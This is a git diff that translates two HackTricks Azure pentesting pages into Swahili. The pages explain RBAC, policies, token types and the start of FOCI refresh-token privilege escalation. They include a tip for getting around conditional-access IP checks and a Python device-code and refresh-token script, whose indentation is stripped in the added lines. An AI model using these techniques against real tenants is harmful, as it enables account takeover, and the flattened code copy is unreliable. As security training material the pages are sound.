| Aina zote za rasilimali | -### Built-In roles +### Majukumu Yaliyojengwa Ndani -[From the docs: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure role-based access control (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) has several Azure **built-in roles** that you can **assign** to **users, groups, service principals, and managed identities**. Role assignments are the way you control **access to Azure resources**. If the built-in roles don't meet the specific needs of your organization, you can create your own [**Azure custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.** +[Kutoka kwenye hati: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Udhibiti wa ufikiaji wa Azure (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) ina majukumu kadhaa ya Azure **yaliyojengwa ndani** ambayo unaweza **kutoa** kwa **watumiaji, vikundi, wakala wa huduma, na utambulisho wa kusimamiwa**. Utoaji wa majukumu ndiyo njia unayodhibiti **ufikiaji wa rasilimali za Azure**. Ikiwa majukumu yaliyojengwa ndani hayakidhi mahitaji maalum ya shirika lako, unaweza kuunda [**majukumu ya kawaida ya Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.** -**Built-In** roles apply only to the **resources** they are **meant** to, for example check this 2 examples of **Built-In roles over Compute** resources: +**Majukumu Yaliyojengwa Ndani** yanatumika tu kwa **rasilimali** ambazo zime **kusudiwa**, kwa mfano angalia mifano hii 2 ya **Majukumu Yaliyojengwa Ndani** juu ya rasilimali za **Kumbukumbu**: -| [Disk Backup Reader](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Provides permission to backup vault to perform disk backup. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | +| [Msomaji wa Nakala ya Disk](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Inatoa ruhusa kwa vault ya nakala kufanya nakala ya disk. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | | ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ | -| [Virtual Machine User Login](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | View Virtual Machines in the portal and login as a regular user. | fb879df8-f326-4884-b1cf-06f3ad86be52 | +| [Kuingia kwa Mtumiaji wa Mashine ya Virtual](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | Ona Mashine za Virtual kwenye lango na kuingia kama mtumiaji wa kawaida. | fb879df8-f326-4884-b1cf-06f3ad86be52 | -This roles can **also be assigned over logic containers** (such as management groups, subscriptions and resource groups) and the principals affected will have them **over the resources inside those containers**. +Majukumu haya yanaweza **pia kutolewa juu ya kontena za mantiki** (kama vile vikundi vya usimamizi, usajili na vikundi vya rasilimali) na wakala walioathiriwa watakuwa nao **juu ya rasilimali ndani ya kontena hizo**. -- Find here a list with [**all the Azure built-in roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles). -- Find here a list with [**all the Entra ID built-in roles**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference). +- Pata hapa orodha ya [**majukumu yote ya Azure yaliyojengwa ndani**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles). +- Pata hapa orodha ya [**majukumu yote ya Entra ID yaliyojengwa ndani**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference). -### Custom Roles +### Majukumu ya Kawaida -- Itā€™s also possible to create [**custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles) -- They are created inside a scope, although a role can be in several scopes (management groups, subscription and resource groups) -- Itā€™s possible to configure all the granular permissions the custom role will have -- Itā€™s possible to exclude permissions - - A principal with a excluded permission wonā€™t be able to use it even if the permissions is being granted elsewhere -- Itā€™s possible to use wildcards -- The used format is a JSON - - `actions` are for control actions over the resource - - `dataActions` are permissions over the data within the object - -Example of permissions JSON for a custom role: +- Pia inawezekana kuunda [**majukumu ya kawaida**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles) +- Yanaanzishwa ndani ya kasi, ingawa jukumu linaweza kuwa katika kasi kadhaa (vikundi vya usimamizi, usajili na vikundi vya rasilimali) +- Inawezekana kusanidi ruhusa zote za kina ambazo jukumu la kawaida litakuwa nazo +- Inawezekana kuondoa ruhusa +- Wakala mwenye ruhusa iliyondolewa hataweza kuitumia hata kama ruhusa hiyo inatolewa mahali pengine +- Inawezekana kutumia wildcards +- Muundo unaotumika ni JSON +- `actions` ni kwa ajili ya kudhibiti vitendo juu ya rasilimali +- `dataActions` ni ruhusa juu ya data ndani ya kitu +Mfano wa ruhusa JSON kwa jukumu la kawaida: ```json { - "properties": { - "roleName": "", - "description": "", - "assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"], - "permissions": [ - { - "actions": [ - "Microsoft.DigitalTwins/register/action", - "Microsoft.DigitalTwins/unregister/action", - "Microsoft.DigitalTwins/operations/read", - "Microsoft.DigitalTwins/digitalTwinsInstances/read", - "Microsoft.DigitalTwins/digitalTwinsInstances/write", - "Microsoft.CostManagement/exports/*" - ], - "notActions": [ - "Astronomer.Astro/register/action", - "Astronomer.Astro/unregister/action", - "Astronomer.Astro/operations/read", - "Astronomer.Astro/organizations/read" - ], - "dataActions": [], - "notDataActions": [] - } - ] - } +"properties": { +"roleName": "", +"description": "", +"assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"], +"permissions": [ +{ +"actions": [ +"Microsoft.DigitalTwins/register/action", +"Microsoft.DigitalTwins/unregister/action", +"Microsoft.DigitalTwins/operations/read", +"Microsoft.DigitalTwins/digitalTwinsInstances/read", +"Microsoft.DigitalTwins/digitalTwinsInstances/write", +"Microsoft.CostManagement/exports/*" +], +"notActions": [ +"Astronomer.Astro/register/action", +"Astronomer.Astro/unregister/action", +"Astronomer.Astro/operations/read", +"Astronomer.Astro/organizations/read" +], +"dataActions": [], +"notDataActions": [] +} +] +} } ``` - ### Permissions order -- In order for a **principal to have some access over a resource** he needs an explicit role being granted to him (anyhow) **granting him that permission**. -- An explicit **deny role assignment takes precedence** over the role granting the permission. +- Ili **principal awe na ufikiaji wa rasilimali** anahitaji jukumu lililo wazi kumwagiwa (kwa namna yoyote) **linalompa ruhusa hiyo**. +- Jukumu lililo wazi la **kukataa linachukua kipaumbele** juu ya jukumu linalotoa ruhusa.

https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10

### Global Administrator -Global Administrator is a role from Entra ID that grants **complete control over the Entra ID tenant**. However, it doesn't grant any permissions over Azure resources by default. +Global Administrator ni jukumu kutoka Entra ID linalotoa **udhibiti kamili juu ya mpangilio wa Entra ID**. Hata hivyo, halitoi ruhusa yoyote juu ya rasilimali za Azure kwa msingi. -Users with the Global Administrator role has the ability to '**elevate' to User Access Administrator Azure role in the Root Management Group**. So Global Administrators can manage access in **all Azure subscriptions and management groups.**\ -This elevation can be done at the end of the page: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties) +Watumiaji wenye jukumu la Global Administrator wana uwezo wa '**kuinua' hadi Jukumu la Msimamizi wa Ufikiaji wa Mtumiaji wa Azure katika Kundi la Usimamizi wa Mizizi**. Hivyo, Wasimamizi wa Global wanaweza kusimamia ufikiaji katika **mikataba yote ya Azure na makundi ya usimamizi.**\ +Kuinua hii inaweza kufanywa mwishoni mwa ukurasa: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
### Azure Policies -**Azure Policies** are rules that help organizations ensure their resources meet specific standards and compliance requirements. They allow you to **enforce or audit settings on resources in Azure**. For example, you can prevent the creation of virtual machines in an unauthorized region or ensure that all resources have specific tags for tracking. +**Azure Policies** ni sheria zinazosaidia mashirika kuhakikisha rasilimali zao zinakidhi viwango maalum na mahitaji ya ufuatiliaji. Zinakuwezesha **kulazimisha au kukagua mipangilio kwenye rasilimali za Azure**. Kwa mfano, unaweza kuzuia uundaji wa mashine za virtual katika eneo lisiloidhinishwa au kuhakikisha kwamba rasilimali zote zina lebo maalum za kufuatilia. -Azure Policies are **proactive**: they can stop non-compliant resources from being created or changed. They are also **reactive**, allowing you to find and fix existing non-compliant resources. +Azure Policies ni **za awali**: zinaweza kuzuia rasilimali zisizokidhi viwango zisizoundwa au kubadilishwa. Pia ni **za majibu**, zikikuruhusu kupata na kurekebisha rasilimali zisizokidhi viwango zilizopo. #### **Key Concepts** -1. **Policy Definition**: A rule, written in JSON, that specifies what is allowed or required. -2. **Policy Assignment**: The application of a policy to a specific scope (e.g., subscription, resource group). -3. **Initiatives**: A collection of policies grouped together for broader enforcement. -4. **Effect**: Specifies what happens when the policy is triggered (e.g., "Deny," "Audit," or "Append"). +1. **Policy Definition**: Sheria, iliyoandikwa kwa JSON, inayobainisha kile kinachoruhusiwa au kinachohitajika. +2. **Policy Assignment**: Matumizi ya sera kwa kiwango maalum (mfano, usajili, kundi la rasilimali). +3. **Initiatives**: Mkusanyiko wa sera zilizopangwa pamoja kwa ajili ya utekelezaji mpana. +4. **Effect**: Inabainisha kinachotokea wakati sera inapoanzishwa (mfano, "Deny," "Audit," au "Append"). -**Some examples:** +**Mifano kadhaa:** -1. **Ensuring Compliance with Specific Azure Regions**: This policy ensures that all resources are deployed in specific Azure regions. For example, a company might want to ensure all its data is stored in Europe for GDPR compliance. -2. **Enforcing Naming Standards**: Policies can enforce naming conventions for Azure resources. This helps in organizing and easily identifying resources based on their names, which is helpful in large environments. -3. **Restricting Certain Resource Types**: This policy can restrict the creation of certain types of resources. For example, a policy could be set to prevent the creation of expensive resource types, like certain VM sizes, to control costs. -4. **Enforcing Tagging Policies**: Tags are key-value pairs associated with Azure resources used for resource management. Policies can enforce that certain tags must be present, or have specific values, for all resources. This is useful for cost tracking, ownership, or categorization of resources. -5. **Limiting Public Access to Resources**: Policies can enforce that certain resources, like storage accounts or databases, do not have public endpoints, ensuring that they are only accessible within the organization's network. -6. **Automatically Applying Security Settings**: Policies can be used to automatically apply security settings to resources, such as applying a specific network security group to all VMs or ensuring that all storage accounts use encryption. +1. **Kuhakikisha Ufuatiliaji na Mikoa Maalum ya Azure**: Sera hii inahakikisha kwamba rasilimali zote zinapelekwa katika mikoa maalum ya Azure. Kwa mfano, kampuni inaweza kutaka kuhakikisha kwamba data yake yote inahifadhiwa barani Ulaya kwa ajili ya ufuatiliaji wa GDPR. +2. **Kulazimisha Viwango vya Ujumuishaji**: Sera zinaweza kulazimisha kanuni za majina kwa rasilimali za Azure. Hii inasaidia katika kuandaa na kutambua kwa urahisi rasilimali kulingana na majina yao, ambayo ni muhimu katika mazingira makubwa. +3. **Kuzuia Aina Fulani za Rasilimali**: Sera hii inaweza kuzuia uundaji wa aina fulani za rasilimali. Kwa mfano, sera inaweza kuwekwa kuzuia uundaji wa aina za rasilimali zenye gharama kubwa, kama vile ukubwa fulani wa VM, ili kudhibiti gharama. +4. **Kulazimisha Sera za Uwekaji Lebo**: Lebo ni jozi za funguo-thamani zinazohusishwa na rasilimali za Azure zinazotumika kwa usimamizi wa rasilimali. Sera zinaweza kulazimisha kwamba lebo fulani lazima ziwepo, au ziwe na thamani maalum, kwa rasilimali zote. Hii ni muhimu kwa ufuatiliaji wa gharama, umiliki, au upangaji wa rasilimali. +5. **Kuzuia Ufikiaji wa Umma kwa Rasilimali**: Sera zinaweza kulazimisha kwamba rasilimali fulani, kama akaunti za hifadhi au hifadhidata, hazina maeneo ya umma, kuhakikisha kwamba zinapatikana tu ndani ya mtandao wa shirika. +6. **Kuweka Mipangilio ya Usalama Kiotomatiki**: Sera zinaweza kutumika kuweka mipangilio ya usalama kiotomatiki kwa rasilimali, kama vile kuweka kundi maalum la usalama wa mtandao kwa VMs zote au kuhakikisha kwamba akaunti zote za hifadhi zinatumia usimbaji. -Note that Azure Policies can be attached to any level of the Azure hierarchy, but they are **commonly used in the root management group** or in other management groups. +Kumbuka kwamba Azure Policies zinaweza kuunganishwa kwenye ngazi yoyote ya hiyerarhii ya Azure, lakini mara nyingi hutumiwa katika kundi la usimamizi wa mizizi **au katika makundi mengine ya usimamizi**. Azure policy json example: - ```json { - "policyRule": { - "if": { - "field": "location", - "notIn": ["eastus", "westus"] - }, - "then": { - "effect": "Deny" - } - }, - "parameters": {}, - "displayName": "Allow resources only in East US and West US", - "description": "This policy ensures that resources can only be created in East US or West US.", - "mode": "All" +"policyRule": { +"if": { +"field": "location", +"notIn": ["eastus", "westus"] +}, +"then": { +"effect": "Deny" +} +}, +"parameters": {}, +"displayName": "Allow resources only in East US and West US", +"description": "This policy ensures that resources can only be created in East US or West US.", +"mode": "All" } ``` - ### Permissions Inheritance -In Azure **permissions are can be assigned to any part of the hierarchy**. That includes management groups, subscriptions, resource groups, and individual resources. Permissions are **inherited** by contained **resources** of the entity where they were assigned. +Katika Azure **permissions zinaweza kupewa sehemu yoyote ya hiyerarhii**. Hii inajumuisha makundi ya usimamizi, usajili, vikundi vya rasilimali, na rasilimali binafsi. Permissions **zinapewa** na **rasilimali** zilizomo katika chombo ambacho zilipewa. -This hierarchical structure allows for efficient and scalable management of access permissions. +Muundo huu wa hiyerarhii unaruhusu usimamizi mzuri na wa kupanuka wa ruhusa za ufikiaji.
### Azure RBAC vs ABAC -**RBAC** (role-based access control) is what we have seen already in the previous sections: **Assigning a role to a principal to grant him access** over a resource.\ -However, in some cases you might want to provide **more fined-grained access management** or **simplify** the management of **hundreds** of role **assignments**. +**RBAC** (udhibiti wa ufikiaji kulingana na jukumu) ni kile tulichokiona tayari katika sehemu zilizopita: **Kutoa jukumu kwa msingi ili kumpa ufikiaji** juu ya rasilimali.\ +Hata hivyo, katika baadhi ya matukio unaweza kutaka kutoa **usimamizi wa ufikiaji wa kiwango cha juu zaidi** au **kurahisisha** usimamizi wa **mamia** ya **mipangilio** ya jukumu. -Azure **ABAC** (attribute-based access control) builds on Azure RBAC by adding **role assignment conditions based on attributes** in the context of specific actions. A _role assignment condition_ is an **additional check that you can optionally add to your role assignment** to provide more fine-grained access control. A condition filters down permissions granted as a part of the role definition and role assignment. For example, you can **add a condition that requires an object to have a specific tag to read the object**.\ -You **cannot** explicitly **deny** **access** to specific resources **using conditions**. +Azure **ABAC** (udhibiti wa ufikiaji kulingana na sifa) inajengwa juu ya Azure RBAC kwa kuongeza **masharti ya mipangilio ya jukumu kulingana na sifa** katika muktadha wa vitendo maalum. _Sharti la mipangilio ya jukumu_ ni **ukaguzi wa ziada ambao unaweza kuongeza kwa hiari kwenye mipangilio yako ya jukumu** ili kutoa udhibiti wa ufikiaji wa kiwango cha juu zaidi. Sharti linachuja ruhusa zinazotolewa kama sehemu ya ufafanuzi wa jukumu na mipangilio ya jukumu. Kwa mfano, unaweza **kuongeza sharti linalohitaji kitu kuwa na lebo maalum ili kusoma kitu**.\ +Huwezi **kukatisha** **ufikiaji** kwa rasilimali maalum **ukitumia masharti**. ## References @@ -379,7 +375,3 @@ You **cannot** explicitly **deny** **access** to specific resources **using cond - [https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration](https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md index d076e723a..0411652fc 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md @@ -4,98 +4,97 @@ ## Basic Information -Entra ID is Microsoft's cloud-based identity and access management (IAM) platform, serving as the foundational authentication and authorization system for services like Microsoft 365 and Azure Resource Manager. Azure AD implements the OAuth 2.0 authorization framework and the OpenID Connect (OIDC) authentication protocol to manage access to resources. +Entra ID ni jukwaa la usimamizi wa utambulisho na ufikiaji (IAM) la Microsoft linalotegemea wingu, likihudumia kama mfumo wa msingi wa uthibitishaji naidhinisha huduma kama Microsoft 365 na Azure Resource Manager. Azure AD inatekeleza mfumo wa idhini wa OAuth 2.0 na itifaki ya uthibitishaji ya OpenID Connect (OIDC) ili kusimamia ufikiaji wa rasilimali. ### OAuth -**Key Participants in OAuth 2.0:** +**Washiriki Wakuu katika OAuth 2.0:** -1. **Resource Server (RS):** Protects resources owned by the resource owner. -2. **Resource Owner (RO):** Typically an end-user who owns the protected resources. -3. **Client Application (CA):** An application seeking access to resources on behalf of the resource owner. -4. **Authorization Server (AS):** Issues access tokens to client applications after authenticating and authorizing them. +1. **Seva ya Rasilimali (RS):** Inalinda rasilimali zinazomilikiwa na mmiliki wa rasilimali. +2. **Mmiliki wa Rasilimali (RO):** Kawaida ni mtumiaji wa mwisho anaye miliki rasilimali zilizolindwa. +3. **Programu ya Mteja (CA):** Programu inayotafuta ufikiaji wa rasilimali kwa niaba ya mmiliki wa rasilimali. +4. **Seva ya Uidhinishaji (AS):** Inatoa alama za ufikiaji kwa programu za mteja baada ya kuthibitisha na kuidhinisha. -**Scopes and Consent:** +**Mikondo na Idhini:** -- **Scopes:** Granular permissions defined on the resource server that specify access levels. -- **Consent:** The process by which a resource owner grants a client application permission to access resources with specific scopes. +- **Mikondo:** Ruhusa za kina zilizofafanuliwa kwenye seva ya rasilimali zinazobainisha viwango vya ufikiaji. +- **Idhini:** Mchakato ambao mmiliki wa rasilimali anatoa ruhusa kwa programu ya mteja kufikia rasilimali zenye mikondo maalum. -**Microsoft 365 Integration:** +**Ushirikiano wa Microsoft 365:** -- Microsoft 365 utilizes Azure AD for IAM and is composed of multiple "first-party" OAuth applications. -- These applications are deeply integrated and often have interdependent service relationships. -- To simplify user experience and maintain functionality, Microsoft grants "implied consent" or "pre-consent" to these first-party applications. -- **Implied Consent:** Certain applications are automatically **granted access to specific scopes without explicit user or administrator approva**l. -- These pre-consented scopes are typically hidden from both users and administrators, making them less visible in standard management interfaces. +- Microsoft 365 inatumia Azure AD kwa IAM na inajumuisha programu nyingi za "first-party" za OAuth. +- Programu hizi zimeunganishwa kwa kina na mara nyingi zina uhusiano wa huduma zinazohusiana. +- Ili kurahisisha uzoefu wa mtumiaji na kudumisha kazi, Microsoft inatoa "idhini iliyodhaniwa" au "idhini ya awali" kwa programu hizi za first-party. +- **Idhini Iliyodhaniwa:** Programu fulani zinapewa moja kwa moja **ufikiaji wa mikondo maalum bila idhini wazi ya mtumiaji au msimamizi**. +- Mikondo hii ya awali kwa kawaida inafichwa kutoka kwa watumiaji na wasimamizi, na kuifanya iwe na mwonekano mdogo katika interfaces za usimamizi wa kawaida. -**Client Application Types:** +**Aina za Programu za Mteja:** -1. **Confidential Clients:** - - Possess their own credentials (e.g., passwords or certificates). - - Can **securely authenticate themselves** to the authorization server. -2. **Public Clients:** - - Do not have unique credentials. - - Cannot securely authenticate to the authorization server. - - **Security Implication:** An attacker can impersonate a public client application when requesting tokens, as there is no mechanism for the authorization server to verify the legitimacy of the application. +1. **Wateja wa Siri:** +- Wana akidi zao wenyewe (mfano, nywila au vyeti). +- Wanaweza **kujithibitisha kwa usalama** kwa seva ya uidhinishaji. +2. **Wateja wa Umma:** +- Hawana akidi za kipekee. +- Hawawezi kujithibitisha kwa usalama kwa seva ya uidhinishaji. +- **Athari za Usalama:** Mshambuliaji anaweza kujifanya kuwa programu ya mteja wa umma anapohitaji alama, kwani hakuna mekanismu kwa seva ya uidhinishaji kuthibitisha uhalali wa programu. ## Authentication Tokens -There are **three types of tokens** used in OIDC: +Kuna **aina tatu za alama** zinazotumika katika OIDC: -- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** The client presents this token to the resource server to **access resources**. It can be used only for a specific combination of user, client, and resource and **cannot be revoked** until expiry - that is 1 hour by default. -- **ID Tokens**: The client receives this **token from the authorization server**. It contains basic information about the user. It is **bound to a specific combination of user and client**. -- **Refresh Tokens**: Provided to the client with access token. Used to **get new access and ID tokens**. It is bound to a specific combination of user and client and can be revoked. Default expiry is **90 days** for inactive refresh tokens and **no expiry for active tokens** (be from a refresh token is possible to get new refresh tokens). - - A refresh token should be tied to an **`aud`** , to some **scopes**, and to a **tenant** and it should only be able to generate access tokens for that aud, scopes (and no more) and tenant. However, this is not the case with **FOCI applications tokens**. - - A refresh token is encrypted and only Microsoft can decrypt it. - - Getting a new refresh token doesn't revoke the previous refresh token. +- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Mteja anawasilisha alama hii kwa seva ya rasilimali ili **kufikia rasilimali**. Inaweza kutumika tu kwa mchanganyiko maalum wa mtumiaji, mteja, na rasilimali na **haiwezi kufutwa** hadi ipite muda - yaani, saa 1 kwa kawaida. +- **ID Tokens**: Mteja anapata alama hii **kutoka kwa seva ya uidhinishaji**. Inajumuisha taarifa za msingi kuhusu mtumiaji. Inafungwa kwa mchanganyiko maalum wa mtumiaji na mteja. +- **Refresh Tokens**: Zinapeanwa kwa mteja pamoja na alama ya ufikiaji. Zinatumika **kupata alama mpya za ufikiaji na ID**. Inafungwa kwa mchanganyiko maalum wa mtumiaji na mteja na inaweza kufutwa. Muda wa kawaida wa kuisha ni **siku 90** kwa alama za refresha zisizofanya kazi na **hakuna muda wa kuisha kwa alama za kazi** (kutoka kwa alama ya refresha inawezekana kupata alama mpya za refresha). +- Alama ya refresha inapaswa kuunganishwa na **`aud`**, kwa baadhi ya **mikondo**, na kwa **tenant** na inapaswa kuwa na uwezo wa kuzalisha alama za ufikiaji kwa ajili ya aud hiyo, mikondo (na hakuna zaidi) na tenant. Hata hivyo, hii si hali kwa **alama za programu za FOCI**. +- Alama ya refresha imefichwa na ni Microsoft pekee inayoweza kuifungua. +- Kupata alama mpya ya refresha hakufuti alama ya refresha ya awali. > [!WARNING] -> Information for **conditional access** is **stored** inside the **JWT**. So, if you request the **token from an allowed IP address**, that **IP** will be **stored** in the token and then you can use that token from a **non-allowed IP to access the resources**. +> Taarifa za **ufikiaji wa masharti** zime **hifadhiwa** ndani ya **JWT**. Hivyo, ikiwa unahitaji **alama kutoka kwa anwani ya IP iliyoidhinishwa**, hiyo **IP** itakuwa **hifadhiwa** katika alama na kisha unaweza kutumia alama hiyo kutoka kwa **IP isiyoidhinishwa kufikia rasilimali**. ### Access Tokens "aud" -The field indicated in the "aud" field is the **resource server** (the application) used to perform the login. +Uwanja ulioonyeshwa katika uwanja wa "aud" ni **seva ya rasilimali** (programu) inayotumika kufanya kuingia. -The command `az account get-access-token --resource-type [...]` supports the following types and each of them will add a specific "aud" in the resulting access token: +Amri `az account get-access-token --resource-type [...]` inasaidia aina zifuatazo na kila moja itongeza "aud" maalum katika alama ya ufikiaji inayotokana: > [!CAUTION] -> Note that the following are just the APIs supported by `az account get-access-token` but there are more. +> Kumbuka kwamba yafuatayo ni APIs zinazosaidiwa na `az account get-access-token` lakini kuna zaidi.
-aud examples +mfano wa aud -- **aad-graph (Azure Active Directory Graph API)**: Used to access the legacy Azure AD Graph API (deprecated), which allows applications to read and write directory data in Azure Active Directory (Azure AD). - - `https://graph.windows.net/` +- **aad-graph (Azure Active Directory Graph API)**: Inatumika kufikia API ya zamani ya Azure AD Graph (iliyotengwa), ambayo inaruhusu programu kusoma na kuandika data ya directory katika Azure Active Directory (Azure AD). +- `https://graph.windows.net/` -* **arm (Azure Resource Manager)**: Used to manage Azure resources through the Azure Resource Manager API. This includes operations like creating, updating, and deleting resources such as virtual machines, storage accounts, and more. - - `https://management.core.windows.net/ or https://management.azure.com/` +* **arm (Azure Resource Manager)**: Inatumika kusimamia rasilimali za Azure kupitia API ya Azure Resource Manager. Hii inajumuisha operesheni kama kuunda, kuboresha, na kufuta rasilimali kama vile mashine za virtual, akaunti za hifadhi, na zaidi. +- `https://management.core.windows.net/ or https://management.azure.com/` -- **batch (Azure Batch Services)**: Used to access Azure Batch, a service that enables large-scale parallel and high-performance computing applications efficiently in the cloud. - - `https://batch.core.windows.net/` +- **batch (Azure Batch Services)**: Inatumika kufikia Azure Batch, huduma inayowezesha programu za kompyuta za kiwango kikubwa na za utendaji wa juu kwa ufanisi katika wingu. +- `https://batch.core.windows.net/` -* **data-lake (Azure Data Lake Storage)**: Used to interact with Azure Data Lake Storage Gen1, which is a scalable data storage and analytics service. - - `https://datalake.azure.net/` +* **data-lake (Azure Data Lake Storage)**: Inatumika kuingiliana na Azure Data Lake Storage Gen1, ambayo ni huduma ya hifadhi ya data na uchambuzi inayoweza kupanuka. +- `https://datalake.azure.net/` -- **media (Azure Media Services)**: Used to access Azure Media Services, which provide cloud-based media processing and delivery services for video and audio content. - - `https://rest.media.azure.net` +- **media (Azure Media Services)**: Inatumika kufikia Azure Media Services, ambayo inatoa huduma za usindikaji na usambazaji wa media zinazotegemea wingu kwa maudhui ya video na sauti. +- `https://rest.media.azure.net` -* **ms-graph (Microsoft Graph API)**: Used to access the Microsoft Graph API, the unified endpoint for Microsoft 365 services data. It allows you to access data and insights from services like Azure AD, Office 365, Enterprise Mobility, and Security services. - - `https://graph.microsoft.com` +* **ms-graph (Microsoft Graph API)**: Inatumika kufikia Microsoft Graph API, kiunganishi kilichounganishwa kwa data za huduma za Microsoft 365. Inaruhusu kufikia data na maarifa kutoka kwa huduma kama Azure AD, Office 365, Enterprise Mobility, na huduma za Usalama. +- `https://graph.microsoft.com` -- **oss-rdbms (Azure Open Source Relational Databases)**: Used to access Azure Database services for open-source relational database engines like MySQL, PostgreSQL, and MariaDB. - - `https://ossrdbms-aad.database.windows.net` +- **oss-rdbms (Azure Open Source Relational Databases)**: Inatumika kufikia huduma za Azure Database kwa injini za hifadhidata za uhusiano za chanzo wazi kama MySQL, PostgreSQL, na MariaDB. +- `https://ossrdbms-aad.database.windows.net`
### Access Tokens Scopes "scp" -The scope of an access token is stored inside the scp key inside the access token JWT. These scopes define what the access token has access to. +Mikondo ya alama ya ufikiaji inahifadhiwa ndani ya ufunguo wa scp ndani ya alama ya ufikiaji JWT. Mikondo hii inafafanua kile alama ya ufikiaji ina ufikiaji. -If a JWT is allowed to contact an specific API but **doesn't have the scope** to perform the requested action, it **won't be able to perform the action** with that JWT. +Ikiwa JWT inaruhusiwa kuwasiliana na API maalum lakini **haina mikondo** ya kufanya kitendo kilichohitajika, haitakuwa na uwezo wa kufanya kitendo hicho na JWT hiyo. ### Get refresh & access token example - ```python # Code example from https://github.com/secureworks/family-of-client-ids-research import msal @@ -107,17 +106,17 @@ from typing import Any, Dict, List # LOGIN VIA CODE FLOW AUTHENTICATION azure_cli_client = msal.PublicClientApplication( - "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client +"04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client ) device_flow = azure_cli_client.initiate_device_flow( - scopes=["https://graph.microsoft.com/.default"] +scopes=["https://graph.microsoft.com/.default"] ) print(device_flow["message"]) # Perform device code flow authentication azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow( - device_flow +device_flow ) pprint(azure_cli_bearer_tokens_for_graph_api) @@ -125,83 +124,74 @@ pprint(azure_cli_bearer_tokens_for_graph_api) # DECODE JWT def decode_jwt(base64_blob: str) -> Dict[str, Any]: - """Decodes base64 encoded JWT blob""" - return jwt.decode( - base64_blob, options={"verify_signature": False, "verify_aud": False} - ) +"""Decodes base64 encoded JWT blob""" +return jwt.decode( +base64_blob, options={"verify_signature": False, "verify_aud": False} +) decoded_access_token = decode_jwt( - azure_cli_bearer_tokens_for_graph_api.get("access_token") +azure_cli_bearer_tokens_for_graph_api.get("access_token") ) pprint(decoded_access_token) # GET NEW ACCESS TOKEN AND REFRESH TOKEN new_azure_cli_bearer_tokens_for_graph_api = ( - # Same client as original authorization - azure_cli_client.acquire_token_by_refresh_token( - azure_cli_bearer_tokens_for_graph_api.get("refresh_token"), - # Same scopes as original authorization - scopes=["https://graph.microsoft.com/.default"], - ) +# Same client as original authorization +azure_cli_client.acquire_token_by_refresh_token( +azure_cli_bearer_tokens_for_graph_api.get("refresh_token"), +# Same scopes as original authorization +scopes=["https://graph.microsoft.com/.default"], +) ) pprint(new_azure_cli_bearer_tokens_for_graph_api) ``` - ## FOCI Tokens Privilege Escalation -Previously it was mentioned that refresh tokens should be tied to the **scopes** it was generated with, to the **application** and **tenant** it was generated to. If any of these boundaries is broken, it's possible to escalate privileges as it will be possible to generate access tokens to other resources and tenants the user has access to and with more scopes than it was originally intended. +Kabla ilisemwa kwamba refresh tokens zinapaswa kuunganishwa na **scopes** ambazo zilitengenezwa nazo, kwa **application** na **tenant** ambazo zilitengenezwa kwao. Ikiwa mojawapo ya mipaka hii itavunjwa, inawezekana kupandisha mamlaka kwani itakuwa inawezekana kutengeneza access tokens kwa rasilimali nyingine na tenants ambazo mtumiaji anaweza kufikia na kwa scopes zaidi kuliko ilivyokusudiwa awali. -Moreover, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mention: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them." +Zaidi ya hayo, **hii inawezekana na refresh tokens zote** katika [Microsoft identity 